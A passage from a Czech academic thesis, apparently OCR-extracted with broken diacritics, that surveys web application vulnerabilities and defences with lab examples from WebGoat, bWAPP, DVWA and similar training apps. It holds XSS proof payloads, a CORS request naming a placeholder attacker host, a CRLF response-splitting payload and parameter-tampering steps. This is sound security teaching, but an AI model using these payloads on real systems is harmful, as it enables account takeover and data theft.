Zranitelnost: Token generovan na zakladé jména
URL: WebGoat/attack?Screen=73&menu=1800

Nejdfiive se prihlasime jako dva dostupni uzivatelé. Na zakladé tohoto zjistime,
ze Cast tokenu je staticka a cast se lisi. Ménici se ¢ast mé délku stejnou jako
délka prihlasovaciho jména. Pokud ¢teme token odzadu, vSimneme si, Ze stejné
znaky ve jménech se zménili na stejné znaky v tokenu. Jedna se o jednoduchou
transpozicni sifru. Pro posledniho uzivatele tak vytvorime token a ukradneme
jeho relaci.

1.3.2.2 épatné nastavena cookie

Server po autentizaci uzivatele nastavi rela¢ni cookie pomoci Set-cookie a
uzivatel ji odesild zpét pomoci hlavicky Cookie. Neni vhodné, aby uzivatel
odesilal svoje cookie na vSechny navstivené weby. Jak prohlize¢ pozna, kdy
ma jakou cookie odeslat? V tomto pripadé nerozhoduje SOP, ale parametry
domain a path nastavované pii vytvoreni cookie. [16]

Prohlize¢ posild cookie pri kazdém dotazu na danou doménu a vSechny
subdomény webové aplikace. Pokud chceme toto chovani zménit, pouzijeme
parametr domain. Nasledné se pak cookie bude odesilat na tuto doménu a
vSechny jeji subdomény. Nelze vSak nastavit doménu nejvyssi irovné. Bohuzel
nejsme schopni omezit odesilani cookie na subdomény, mizeme vsak doménu
specifikovat pomoci FQDN.

Pokud webova aplikace bézi v cesté /a/b/c, je pak cookie odeslana vzdy
pri dotazu do tohoto adresate a jakéhokoliv podadresate. Pokud chceme, aby
byla cookie odeslana i do adreséare vyse, nastavime pozadovany adresar pomoci
parametru path.

Kdyz jsme omezili, na jakou doménu a do jaké cesty se mé cookie odesilat,
je dalsim krokem jeji odesilani pouze pri vyuziti TLS. K tomu je potieba
vyuzit direktivy Secure. Dalsi pouzivanou direktivou je HttpOnly. Ta za-
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mezuje pristupu k tokenu pomoci volani document.cookie v javascriptu a
omezuje tak dopad dtoku XSS.

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: Chybéjici HttpOnly a Secure
URL: /bWAPP/smgmt_cookies_<httponly|secure>.php

Tyto dvé stranky nastavuji cookie s riznymi hodnotami atributi. Uzivatel
nasledné muize zobrazit cookie pomoci javascriptu nebo zachytit, zda se cookie
odesle pri pristupu na stranku pomoci HTTP.

1.3.2.3 Prozrazeni tokenu

Stejné jako heslo by token nemél byt zjistitelny treti stranou. Muze se tak ale
stat hned nékolika zptisoby. Jednim z nich je, stejné jako u hesla, komunikace
pres HT'TP. V tomto pripadé mize dojit k odposlechu po celou dobu prenosu,
a to na lokalni siti, sitich ISP a na siti provozovatele serveru. Aplikace by
méla vyuzivat HTTPS pro vSechny dotazy obsahujici cookie. Je vhodné a
jednoduché nastavit HT'TPS pro celou aplikaci.

I pres sifrovany prenos mohou byt tokeny prozrazeny. Muze k tomu dojit
naptiklad pomoci prenosu tokenu jako parametru v URL. Pak muze byt token
zaznamenan na reverse proxy nebo v historii prohlizece. Mtze byt ulozen i na
dalsich mistech, naptiklad v zaznamech aplikace na webovém serveru.

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: Token v URL
URL: /smgmt_sessionid_url.php

Stranka jednoduchym zptisobem pomoci pridani parametru do URL simuluje
situaci, pri které muze byt zachycena hodnota relace.

1.3.2.4 Ukoncovani a obnovovani relace

Relace by neméla trvat do nekonec¢na. V piipadé, ze by utocnik zjistil hod-
notu rela¢niho tokenu, mohl by se za uzivatele vydavat neomezené. Jednim
z ptipadi, kdy by relace méla byt ukoncena, je odhlaseni uzivatele. V nékterych
aplikacich ale odhlaseni nefunguje spravné nebo viibec neni implementovano.
Dalsi moznosti je zruseni relace po uplynuti uréité doby neaktivity nebo urcité
doby od jejiho vytvoreni. Standardnim chovanim aplikace je, pokud po kazdém
prihléseni pridéli uzivateli novy token. Fixace relace nastava, pokud aplikace
po kazdém prihlaseni pridéli stejny token, nebo lze hodnotu tokenu ovlivnit
utocénikem pri prihldseni uzivatele. Napriklad pomoci parametru v téle nebo
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1. ANALYZA STAVAJICICH APLIKACI

v URL pozadavku, cookie, skriptem na uzivatelské strané nebo skrytou hod-
notou ve formulari. Uto¢nik se pak muze vydavat za uzivatele dokud token
nevyprsi.

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Fixace relace
URL: |/WebGoat/attack?Screen=56&menu=1800

Predpokladem pro tuto zranitelnost je moznost ovlivnit hodnotu tokenu po-
moci parametru SID v URL. Utoenik pak posle divéryhodné vypadajici email
s odkazem k prihlasovaci strance a upravenou hodnotou SID. Uzivatel si precte
email, otevie odkaz a prihlasi se. Utocnik pak pouzije stejny odkaz a je
prihlasen jako uzivatel, protoze hodnota relace je uréena parametrem SID,
ktery ale ttoénik uzivateli podstéil.

Aplikace: bWAPP
Zranitelnost: Spatné odhlaseni
URL: /bWAPP/ba_logout.php

Na lehkou obtiznost jsou nastaveny vsechny cookie kromé PHPSESSID na hod-
notu deleted a uzivatel je pfesmérovan na prihlasovaci stranku. Pokud pouzije
tlacitko zpét, je opét prihlasen. Predchozi relace neni nijak zrusena.

1.3.3 Autorizace

Potom co umime ovérit identitu uzivatele pti prihlaseni a pii kazdém dalSim
pozadavku, je potieba urcit, zda ma uzivatel k danym dattim pristup. K tomu
slouzi proces autorizace. Nasledujici zranitelnosti jsou rozdéleny do nékolika
kategorii, ale vsechny maji stejny ptivod. Tim je duvérovani hodnoté predané
uzivatelem.

1.3.3.1 Administratorské prostredi

Administratorské prostredi by mélo byt dostupné pouze po prihlaseni. Zaroven
neni potreba, aby k nému mohl pristoupit kdokoliv, proto je vhodné omezit
pristup také na zakladé IP adresy. Dopad tohoto problému se zvysuje v kom-
binaci s problémy s autentizaci. Castou chybou pak byva pouziti puvodnich
prihlasovacich udaji. Pokud jsou udaje zménény, casto se tak déje pouze
u hesla. Dalsim dualezitym faktorem je komplexnost hesla a ochrana proti
utoktim hrubou silou.
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1.3. Popis zranitelnosti

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Pristupné administratorské prostredi
URL: /WebGoat/attack?Screen=10&menu=200

Nékteré funkce urcené pro administratora jsou na dané strance dostupné
po pridani parametru admin s hodnotou true. Zranitelnost bychom mohli
zaradit i do nasledujici kategorie, nemeélo by totiz zaviset na hodnoté zadané
uzivatelem.

Aplikace: OWASP Vicnum
Zranitelnost: Pristupné administratorské prostredi
URL: /vicnum/cgi-bin/guessnuml.pl

V pozadavku je parametr admin=N a po jeho zméné na admin=Y je uzivatel
presmérovan na administratorské rozhrani.

1.3.3.2 Forced browsing

Jednou z klasickych a castych chyb je presvédceni, ze pokud uzivatel nezné
spravnou URL nemitize pristoupit k urcité funkci ¢ souboru. Pii pristupu
k souboru by méla byt provedena kontrola identity a priv. Za predpokladu,
7e pristup k souboru mé byt omezen, ale samotna znalost URL je dostacujici,
je vhodné aby URL obsahovala dostate¢né dlouhy a ndhodny identifikator.
Inkrementalni ¢itac ¢i datum proto nejsou vhodnou metodou vytvareni ndzvua
soubor.

Tato zranitelnost je také znama pod pojmy Forceful browsing, File enu-
meration, Predictable resource location a Resource enumeration. [17]

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Forced browsing
URL: //WebGoat/attack?Screen=37&menu=1400

Cilem je pristoupit ke konfigura¢nimu souboru. Pro dspéch sta¢i URI zménit
na /WebGoat/conf.

1.3.3.3 Directory traversal

Pokud miize uzivatel pristoupit k souboriim mimo povoleny adresai mluvime
o Directory traversal nebo také Path traversal. Nejcastéji toho 1ze dosdhnout
pomoci manipulace s parametry a vyuziti sekvence ../. V takovém pripadé
mluvime o tvz. relativni verzi. [1§]
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Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Directory traversal
URL: //WebGoat/attack?Screen=57&menu=200

Uzivatel ma moznost zobrazit si ur¢ité soubory z dané slozky, pokud ale pa-
rametr se jménem souboru upravi, naptiklad vlozi ../, muze se dostat do
nadrazenych slozek.

1.3.3.4 Eskalace privilegii

Eskalaci privilegii nazyvame zranitelnost, kterd vznika pti spatné autorizaci.
Pokud uzivatel ziskd pristup k informacim jiného uzivatele na stejné trovni,
mluvime o horizontalni eskalaci. Pokud je mozné pristoupit k funkcim nebo
informacim uzivatele s jinymi opravnénimi, mluvime o vertikalni eskalaci.

Priklady zranitelnosti

Aplikace: HackMe Bank
Zranitelnost: Hodnota ve ViewState
URL: |/HacmeBank_v2_Website/aspx/main.aspx?function=AdminSection

Aplikace obsahuje administratorskou sekci. Aby byl uzivateli umoznén pristup,
musi spravné odpovédét na nahodnou ¢iselnou vyzvu aplikace. Spravné od-
povéd je ale odeslana spolecné s vyzvou a ulozena v zakdédované podobé ve
ViewState na strané uzivatele. Pomoci Burp Suite jsme schopni ViewState
zobrazit strukturované v dekédované podobé.

Aplikace: OWASP WebGoat
Zranitelnost: Chyba v business vrstvé
URL: /WebGoat/attack?Screen=65&menu=200&stage=1

Ukolem je se prihlasit jako uzivatel Tom a smazat tcet. Po prihlaseni ovsem
tato moznost neni vidét. Existuje zde moznost zobrazit profil. Pokud tuto
funkcionalitu vyuzijeme, odesle se dotaz s parametry employee_id=105 a
action=ViewProfile. Kdyz zménime druhy parametr na DeleteProfile, do-
jde ke smazani uctu.

1.3.3.5 Insecure Direct Object References

Nikdy se nelze spoléhat na hodnotu predanou uzivatelem. Je potieba pocitat
s tim, Ze co mlize byt na strané uzivatele zménéno, pokusi se ttocnik zménit.
Utoénfk miZe zménit skrytou hodnotu ve formulari, parametr dotazu nebo
nékterou hlavicku ¢i cookie. Kédovani a v nékterych pripadech ani hashovani
nemusi Gtoénikovi v tomto ¢inu zabrénit.
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Kontrola uzivatelova vstupu na strané klienta proto nema slouzit jako
primarni ochrana proti utokim. Pfi pouziti proxy lze totiz hodnoty zménit az
potom, co tyto kontroly probéhnou.

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Chyba v datové vrstvé
URL: |/WebGoat/attack?Screen=65&menu=200&stage=3

Ukolem je zobrazit profil jiného uzivatele. V dotazu je obsahuzen parametr
employee_id. Po jeho zvysSeni o jedna se zobrazi jiny profil. Pro automatizaci
muzeme vyuzit Burp Suite Intruder.

Aplikace: OWASP Vicnum
Zranitelnost: Hodnoty ovlivnitelné uzivatelem
URL: /vicnum/cgi-bin/guessnum

Jedna z her obsazenych v aplikaci Vicnum se jmenuje Guessnum a obsahuje
nekolik zranitelnosti tohoto typu. Cilem hry je uhodnout trojciferné ¢islo. Po
kazdém tipu je uzivateli sdéleno, kolik ¢isel ma spravné. Prvni chybou je, Ze
¢islo se vygeneruje na serveru, ale je zakdédované pomoci base64 predano zpét
uzivateli v parametru VIEWSTATE.

Druhym problémem je, Ze pocet uskutec¢nénych pokusit se ulozi u Kkli-
enta v parametru oldguess. Pfi spravném uhodnuti lze hodnotu smazat a
dosahnout ve vysledcich perfektniho skore.

Guessnum je naprogramovan v Perlu, ale aplikace pro zapis vysledkt do
databéaze je vytvorena v PHP. Mezi témito dvéma aplikacemi je t¥eba si hod-
noty néjak predat. Hodnoty jsou predédny v cookies a jejich zménou lze také
dosahnout zapisu vysledku s libovolnym jménem a skérem.

Aplikace: HackMe Bank
Zranitelnost: Hodnota ve ViewState
URL: /aspx/main.aspx?function=AccountTransfer

Naprosto jednoduchou metodou prevodu pénez z ciziho t¢tu na svij je zadani
negativni ¢astky. V programu je provedena kontrola na strané klienta a je tak
zapotiebi hodnotu zménit na zdpornou az pomoci proxy.

1.34 Ijtoky na uzivatele

Do této chvile probihal popis zranitelnosti priblizné chronologicky. Nejdiive se
uzivatel prihlésil, aplikace udélala potfebné kroky k tomu, aby uzivatele roz-
poznala v kazdém dalsim pozadavku a nasledné mu tak mohla povolit nebo
odeptit pristup. Nyni nésleduji dvé kategorie zranitelnosti, které jiz nelze
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sefadit chronologicky. Jedna se zaprvé o zranitelnosti umoznujici itoky na
uzivatele, které popiseme v této podkapitole. Zadruhé jsou to ttoky na ser-
ver, respektive jeho ruzné ¢ésti, které popiseme v podkapitole Ziejmé
nejznaméjsi utok cileny na uzivale je XSS. Ten byl zarazen v projektu OWASP
Top Ten v letech 2010, 2013 i 2017.

1.3.4.1 Cross-Site Scripting (XSS)

Cross-Site Scripting je ttok cileny na uzivatele. Jedna se o skript, ktery itoc¢nik
néjakym zpusobem dorudi k obéti tak, aby se prohlizeci jevilo, Ze se jednd o le-
gitimni skript a spusti ho. Nelze ovSem dorucit kod libovolnym zptisobem, a to
kvili SOP. Ta totiz oddéluje jednotlivé kontexty na zédkladé domény, protokolu
a portu. SOP lze demonstrovat jednoduchym ptikladem. Reknéme, Ze cilem
bude ziskat cookies pomoci volani document.cookie. Pokud tutoénik ulozi
skript na doménu utocnik.com a donuti uzivatele k tomuto skriptu pristoupit,
pak volanim document.cookie ziskd cookies pouze na doméné utocnik.com.
Dle zplisobu funkéniho doruceni skiptu tak délime XSS na nékolik typt.

Reflected XSS

V pripadé, ze kéd neni ulozen primo na serveru, ale je reflektovan vstupem
od uzivatele, mluvime o tzv. Reflected XSS. Casto uvadénym piikladem je
funkce vyhleddvani. Uzivatel vlozi hledany fetézec a odpovéd serveru obsahuje
informaci, ze pro dany fetézec byl nalezen urcity pocet zaznam. Cast4 je také
varianta, kdy uzivatel nevlozi tento retézec do vyhledavani, ale do URL. Server
pak vrati informaci o tom, ze dany soubor se na serveru nenachézi, a pritom
nedojde k osetreni daného nazvu souboru.

Otéazkou zustava, jak donutit uzivatele, aby dany koéd zadal. Pokud by
o ném védél, ziejmé by ho dobrovolné nevlozil. K tomuto ttoku tak nejcastéji
dochézi pomoci distribuce odkazu, kde v jednom z parametru je tento skript
ulozen.

Tento typ utoku je ¢asto zminovan pouze v souvislosti s programovacim
jazykem javascript. Méné rozsifenou a ustupujici variantou je XSS ve Flash
aplikaci. Pokud jsme schopni spustit skript, ale nemtzeme tim napadnout
jiného uzivatele, mluvim o tzv. Self XSS. Redlna Sance na vyuziti je ve spojeni
se socialnim inzenyrstvim nebo ve spojeni s jinymi zranitelnostmi.

Stored XSS

Opaénym piipadem k predchozimu typu je tzv. Stored XSS. Nyni je kéd ulozen
na strané serveru a zobrazen kazdému uZivateli. Utoénikovi tak staéi kéd zadat
jednou a zaroven vétsinou cili na vice obéti. Typickym prikladem je férum,
které umoznuje uzivateli napsat zpravu, kterou si pak miizou ostatni zobrazit.

DOM XSS
V predchozich pripadech se kod odeslal na server, zde se néjakym zpusobem

20



1.3. Popis zranitelnosti

zpracoval a nasledné odeslal zpét. Je ovSem mozné provést XSS i bez toho, aniz
by tento kod prisel na server. Server uzivateli misto samotného XSS odesle
javascript, ktery na strance muze aktualizovat obsah na zakladé informaci
obsazenych v DOM.

Jak se branit

Pti¢inou XSS je nespravnad manipulace se vstupem od uzivatele. V kazdém
pripadé je potfeba predpokladat, ze dany vstup miiZze obsahovat ttocnikiv
kéd. Proto je potieba data kontrolovat na kazdém vstupu i vystupu. Cely
proces obrany si predvedeme na prikladu, se kterym jsme se setkali v praxi a
reprezentuje nékolik typickych chyb a klasicky zptsob opravy.

Tim ptikladem je vybér narodnosti z menu. Uzivatel si vybere ze seznamu
zkratku obsahujici dva znaky. V pavodnim stavu neni provedena zadna kon-
trola vstupu. Programator ziejmé predpoklada, ze uzivatel nemuze zadat nic
jiného nez moznost z pripraveného menu. Bézny uzivatel ziejmé ne, ale po-
krocily uzivatel za pomoci vyvojarského prostredi webového prohlizece nebo
za pouziti proxy ano.

Prvnim krokem k opravé je si uvédomit, ze uzivatel muze zadat libovolny
vstup. K tomu se poji i druhd chyba, a to kde provést kontrolu vstupu.
Vyvojar po upozornéni na chybu pridal jednoduchou kontrolu, ovsem v ja-
zyce javascript na strané uzivatele. Pokud ale vstup zménime v proxy, pak
tuto ochranu obejdeme, protoze pozadavek jiz opustil prohlize¢. Druhym kro-
kem je tedy provadét bezpecnostni kontrolu na strané serveru. Zaroven je
vhodné ponechat kontrolu v javascriptu. Ta je vsak vhodna pouze pro bézného
uzivatele jako upozornéni, Ze tento vstup neni v poradku a mél by tedy danou
hodnotu zménit. Vyvojari je pri testovani typicky ukazan dikaz. Za ten se
bézné pouziva fetezec <script>alert(1)</script>, ktery zobrazi vyskako-
vaci okno s textem 1. Nésleduje tedy castd chyba, kterou je pouziti seznamu
zakazanych znaki ¢i fetézcli. Tento postup se nazyva blacklisting. Vyvojar si
uvédomuje, ze Tetézec <script> je znakem XSS, a tak ho na vstupu zakéze.
Ne kazdy zplisob tutoku vsak vyuziva Tetézce <script>. Pokud je kontrola
vytvorena naprosto Spatné, pak napriklad vymeéna za <SCRIPT> nebo pouziti
<img src=x onerror=alert(1)> vede ke spusténi koédu.

Vhodnéjsi ptistup je opacny a nazyva se whitelisting. Povoluje pouze urc¢ité
znaky a docilit toho mtizeme pomoci regularnich vyrazti. Pokud dany retézec
nespliuje podminky, mizeme ho cely zamitnout nebo z néj problematické
znaky odstranit. Déle je vhodné omezit délku vstupu. Jednoduchym fesenim
tohoto prikladu z bezpec¢nostniho hlediska je aplikace regularniho vyrazu,
ktery povoli pouze dva znaky ze skupiny velkych pismen.

V tomto prikladu jsme probrali pouze kontrolu vstupu v pripadé, ze nema
obsahovat specialni znaky. Pokud ma obsahovat specidlni znaky, méli bychom
je pri ukladani a zobrazovani uzivateli upravit tak, aby nepredstavovaly zddné
bezpecnostni riziko. Jednou z moznosti je HTML kédovani znakid. Nize je
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uveden priklad vstupu a vystupu:
e \ — &quot

e ‘ — &apos

e & — &amp
o < — &1t
* > &gt

Problém nastava u DOM XSS. V tomto pripadé nedochazi k odesilani dat
na server a jejich kontrole. Proto je vhodné minimalizovat pocet manipulaci se
vstupem u klienta a pripadné aplikovat obdobné principy ochrany na strané
klienta v javascriptu.

Jak testovat XSS

Na zacatku je potfeba identifikovat parametry, které muze uzivatel zadat.
Do kazdého parametru se pokusime zadat vstup, ktery by mél spustit kod.
Nasledné sledujeme parametry v odpovédi. Zaméifime se na to, zda a jak
jsou kédovany nebo filtrovany a v jakém kontextu je parametr. Na zakladé
toho se snazime upravit hodnotu parametru tak, aby ke spusténi doslo. Ve
naptiklad pri vyplnovani velkého formulare. Nékdy miize byt XSS spusténo
jen u jiného uzivatele, naptiklad pokud schvaluje vytvorenou zadost. Toto je

také jeden z duvodu, pro¢ by se mél penetracni test provadét s pomoci vSech
uzivatelskych roli. [I0, kap. OTG-INPVAL-001, OTG-INPVAL-002]

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Stored XSS
URL: /WebGoat/attack?Screen=20&menu=900&stage=3

Cilem cviceni je vlozit XSS do pole s ndzvem ulice v osobnim profilu uzivatele
Tom. Vstup neni nijak osetren. Zranitelnost je potfeba ovérit pomoci funkci-

onality zobrazeni profilu jako uzivatel Jerry. Jako vstup staci pouzit:

<script>alert(1)</script>

Aplikace: OWASP WebGoat
Zranitelnost: Reflected XSS
URL: /WebGoat/attack?Screen=20&menu=900&stage=5
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Funkcionalita hledani uzivatelit obsahuje velmi primocaré XSS. Vyuzijeme
vstup vyhlédavaciho pole, ktery neni nijak oSetfen. Vlozenim standartniho
testovaciho Tetézce se zobrazi vyskakovaci okno s hodnotou 1. Pokud bychom
v tuto chvili chtéli napadnout uzivatele pomoci zaslani URL, neuspéli bychom
kvili vyuziti metody POST. Abychom dokazali situace vyuzit, je potfeba
zménit metodu dotazu z POST na GET. Parametr se tak objevi v URL,
kterou muzeme uzivateli zaslat. Dalsi chybou na serveru je, ze takovy dotaz
piijme a nekontroluje pouzitou metodu.

Aplikace: OWASP WebGoat
Zranitelnost: DOM XSS
URL: libovolné URL s parametrem menu

Pokud uzivatel otevie libovolné cviceni, URL obsahuje parametr menu, podle
kterého se vykresluje, v které ¢asti menu aplikace se uzivatel nachézi. Soubor
menu. JS obsahuje funkci trigMenul. Tato funkce pracuje s parametry v URL
a nasledné vola funkci eval(), do které predava hodnotu parametru menu.
Pokud napriklad na zacatek tohoto parametru pridame retézec ’-alert (1)-7,
dojde k zobrazeni vyskakovaciho okna s hodnotou 1.

Aplikace: WackoPicko
Zranitelnost: Multi-Step Stored XSS
URL: /WackoPicko/pictures/view.php

WackoPicko obsahuje celkem pét XSS zranitelnosti, ale tato je odlisna. Aby
doslo ke spusténi XSS je potfeba pii zadani komentare k fotce projit pres
/WackoPicko/comments/preview_comment.php. Pokud se XSS spusti na jiné
strance nez kde se zada, nebo pokud je potfeba vice kroki, mluvime o tzv.
Multi-Step XSS.

1.3.4.2 Cross-Origin Resource Sharing (CORS)

Ptedstavme si néasledujici situaci. Uzivatel ma otevieny prohlize¢ se dvéma
¢i vice aplikacemi. Kvuli SOP neni mozné, aby jedna aplikace precetla obsah
odpovédi uré¢ené pro druhou aplikaci. Presnéji feceno jeden zdroj, ktery je
definovan pomoci domény, protokolu a portu nemad pristup k odpovédi pro
druhy zdroj. V nékterych pripadech je vSak tato moznost zadouci, a fesenim je
CORS. Ten za pomoci nékolika hlavicek v pozadavcich a odpovédich definuje,
ktery obsah a za jakych podminek je pro jiny zdroj dostupny.

Pouziti CORS automaticky neznamena bezpecnostni riziko. Problémem
muze nastat tehdy, kdyz je povolen pro stranky s citlivymi adaji a také pri
spatné konfiguraci. Proto je vhodné znat patri¢né hlavicky.
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Access-Control-Allow-Origin: <origin> | *

- Hlavicka urcuje, ktery zdroj ma k danému obsahu pristup. Lze speci-
fikovat pouze jeden zdroj nebo vSechny pomoci znaku *. Nelze speci-
fikovat dva zdroje a ani nelze zvolit vSechny subdomény. Pokud ser-
ver potirebuje divérovat vice zdrojim, programator se mize uchylit k
pouziti nebezpecéné konfigurace s *. Nékteré aplikace také generuji hod-
notu na zakladé hlavicky Origin v pozadavku. Zde zalezi na tom, jakym
zpusobem a zda viubec je pfedana hodnota kontrolovana.

Access-Control-Allow-Credentials: true

- Pozadavek na jinou doménu normélné neobsahuje cookie. Do pozadavku
je priddme nastavenim XMLHttpRequest.withCredentials. Odpoved je
ale prohlize¢em odmitnuta, pokud neobsahuje vyse zminénou hlavicku.
Ta ovSem nefunguje, pokud jsme povolili vSechny zdroje pomoci *. [19]

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: CORS
URL: bWAPP/sm_cors.php

Ukolem je zjistit tajemstvi pomoci AJAX pozadavku. Na nizkou obtiZznost
odpovéd serveru obsahuje

Access-Control-Allow-Origin: *

Pozadavek tak miizeme vytvorit v javascriptu pomoci XMLHttpRequest na
strance utocnika. V proxy pak muze vypadat napiiklad takto:

GET /bWAPP/secret-cors-1.php HTTP/1.1

Host: <SERVER_IP>

Referer: http://<ATTACKER_IP>/bwapp_cors.html
Origin: http://<ATTACKER_IP>

Connection: close

Na vyssi obtiznost je kontrolovana hlavicka origin a do pozadavku je
potreba pridat

Origin: http://intranet.itsecgames.com

Tento pozadavek neni mozné odeslat pomoci javascriptu, jelikoz prohlize¢ ndm
neumoznuje zménit tuto hlavicku.
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1.3.4.3 Cross-Site Request Forgery (CSRF)

Predstavime si situaci, kdy je uzivatel prihlasen do aplikace. Ta umoznuje
dotazem, jehoz format je uto¢nikovi zndm, provést urcitou akci. Typickym
prikladem je prevedeni urcité castky na tucet. Utoénik pripravi pozadavek,
ktery obsahuje jeho ¢islo u¢tu a donuti uzivatele pozadavek odeslat. Pokud
je pozadavek typu GET, pak sta¢i uzivateli poslat URL. Pokud je pozadavek
typu POST, pak je tieba vytvorit formular na strance kontrolované utoc¢nikem,
ktery se automaticky odesle pri navstiveni stranky uzivatelem. Pokud neni
aplikace zabezpecena, finanéni ¢astka se odesle. K odeslani ¢astky dochézi
kvili tomu, Ze ito¢nik zna vsechny parametry a cookie se odesila automaticky.
SOP tomutu chovéani také nebrani.

Typickym feSenim je do pozadavku pridat ndhodnou a unikatni hodnotu,
kterou tuto¢nik nezna a ktera se neodesila automaticky. Této hodnoté se rika
anti-CSRF token. Tento token je mozné generovat pii kazdém prihlaseni nebo
kazdém novém pozadavku. Jeho prenos pak probihd pomoci skrytého pole ve
formulafi. Moznosti jak kontrolovat hodnotu tokenu jsou dvé. Bud’ si ji server
pamatuje nebo je hodnota zaroven obsazena v cookie a néasledné porovnana
s tou z formulare.

Dalsi moznosti je vyuziti hlavicky Origin nebo Referer. [20] Kontro-
lou téchto hlavicek muzeme zjistit, odkud byl pozadavek odeslan. Webovy
prohlize¢ totiz neumoznuje zménit hodnotu téchto hlavicek pres javascript.

Pokud se pro vSechny zmény v aplikaci vyuziva metoda POST, pak je
dalsim fesenim pouziti direktivy SameSite, kterd omezuje odesilani cookie pti
pozadavku z jiné aplikace. [21]

Priklady zranitelnosti

Aplikace: DVWA
Zranitelnost: CSRF
URL: |[dvwa/vulnerabilities/csrf

Zranitelna stranka obsahuje zménu hesla pro administratorsky ticet. Na nizkou
obtiznost je pri zméné hesla odeslan GET pozadavek nevyzadujici puvodni
heslo a neobsahujici zadny anti-CSRF token. Staci tak pouze zkopirovat URL
a predat ho administratorovi. V nastaveni na stfedni obtiznost je pridana
hlavicka Referer a je kontrolovana na strané serveru. V nastaveni na nejvyssi
obtiznost je do pozadavku pridano také puvodni heslo.

1.3.4.4 TUnvalidated redirects

Jak jiz nazev napovidéd, problémem je prevzeti vstupu od uzivatele, ktery
obsahuje URL bez dalsi validace. Tato zranitelnost 1ze vyuzit pii phishingové
kampani a za celem kradeze uzivatelskych tudaju. Presmérovani lze provést

25


dvwa/vulnerabilities/csrf

1. ANALYZA STAVAJICICH APLIKACI

na strané serveru, nebo v javascriptu nastavenim hodnoty window.location.
Pomoci nékterych metod je také mozné dosdhnout DOM-XSS.

MozZnou obranou je nahradit presmérovani primim odkazem nebo na ser-
veru udrzovat seznam URL pro pfesmérovani a v parametrech preddvat misto
URL identifikator. V pripadé, ze je za potrebi aby uzivatel mohl definovat
vlastni URL, pak je vhodné se omezit na relativni odkaz a vstup fadné kon-
trolovat. K ochrané proti DOM-XSS je vhodné omezit presmérovani pomoci
uzivatelskych skripta.

Priklady zranitelnosti

Aplikace: bWAPP
Zranitelnost: Unvalidated redirect
URL: |/bWAPP/unvalidated_redir_fwd_1.php

Stranka nabizi moznost kliknutim na tlacitko presmérovat uzivatele na URL,
kterou si vybral z pripravenych voleb v menu. URL je ale pfeddvano v para-
metru url a v proxy staci jeho hodnotu zmeénit.

Pri nastaveni na vyssi obtiZnost se v parametru predavé identifikdtor
volby a pri jeho zméné na neexistujici je uzivatel presmérovan na prihlasovaci
stranku aplikace.

1.3.4.5 HTTP Response splitting

Pod timto titokem se skryva schopnost ttoénika rozdélit jednu odpoveéd ser-
veru na dvé kompletni odpovédi. Toho Ize docilit pomoci injektace hodnot do
hlavi¢ek odpovédi. Nejcastéji se tak déje pres hlavicky Location a Cookie.

Pro spravné rozdéleni hlavicek je potreba vlozit sekvenci CRLF, kterd po
URL zakédovani vypadd jako %0d%0a. Nejdifve ukonéime prvni odpoved,
kterda bude obsahovat hlavicky pred zranitelnym mistem a néasledné za po-
moci zbylych hlavicek dokon¢ime odpovéd druhou. Pokud se pripojujeme
k aplikaci pres proxy, muzeme pomoci tohoto tutoku docilit tzv. Cache Po-
isoning. Stranka, na kterou uto¢nik pfistoupi po vykondni HTTP splitting
utoku bude v cache proxy nahrazena druhou odpovédi z tohoto ttoku. Tento
utok pak ma dopad na vsechny uzivatele dané proxy. Pro spravné provedeni
je nékdy potieba vlozit hlavicky kontrolujici cache, a to If-Modified-Since
a Last-Modified.

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: HT'TP Response splitting
URL: |/WebGoat/attack?Screen=3&menu=100

Do parametru language vlozime hodnotu:
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=foobar%250aContent-Length’3a%25200%250a%250a
HTTP/1.1%2520200%25200K%250aContent-Type%3a%2520text/html?250a
Content-Length3a’252023%250a%250a<html>Hacked</html>

V odpovédi se zobrazi <html>Hacked</html>. Timto se ndm podarilo
provést HTTP splitting. Dalsim cilem je vlozeni hlavicky pro manipulaci
s cache. Do parametru je potieba pridat jesté:

Last-Modified¥%3a%2520Mon, %252012%2520Dec
%25202112%252012%3a12%3a12%2520GMT%250a

Aplikace: bWAPP
Zranitelnost: HT'TP Response splitting
URL: /bWAPP/http_response_splitting.php

Cilem je dostat od serveru upozornéni na vlozeny novy fadek. Hodnota
parametru url je reflektovana v hlaviéce Location, ale vlozime-li jakykoliv
text za znaky %0d%0a nebo %0a, hlavicka Location je z odpovédi odebrana a
neni mozné vyuzit zranitelnosti. Pri aplikaci kodovani jsme presmérovani na
stranku s chybou a cely vstup je bran jako URI. S nejvétsi pravdépodobnosti se
jedna o chybu v implementaci, kdy i na nejnizsi troven je provedena validace
vstupu.

1.3.4.6 Host header injection

Predstavme si situaci, kdy spole¢nost vytvori webovou aplikaci, kterou si
nasledné koupi velké mnozstvi zédkazniki. Aplikaci muze obsahovat funkci-
onalitu na obnoveni hesla. Jelikoz odkaz pro obnovu hesla se bude ménit dle
domény zakaznika, je potieba tuto hodnotu zjistit. Jednou z moznosti jak ji
zjistit je z hlavicky Host v pozadavku na obnovu hesla. Tuto hlavicku ale miize
uzivatel ménit a tak muze email s obnovou hesla obsahovat tto¢nikem defi-
novanou hodnotu a legitimniho uzivatele zmast k provedeni nechténé akce.
Hlavicku Host mohou aplikace vyuzivat na vice mistech. Pokud ji aplikace
pouzivé, méla by jeji obsah validovat.

Priklady zranitelnosti

Aplikace: OWASP WebGoat
Zranitelnost: Host header injection
URL: /bWAPP/hostheader_2.php

Na zacatku musi uzivatel vlozit validni emailovou adresu, ktera je ulozena v da-
tabéazi. Jelikoz aplikace obsahuje funkcionalitu na registraci uzivateld, muze si
zaregistrovat vlastni adresu. Po jejim zadani pii obnové hesla je odeslan ob-
novovaci email. PTi nastaveni na nejnizsi obtiznost se parametr server urcuje
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na zakladé hlavicky Host, na vyssi obtiZznost je urcen staticky. Email se ale
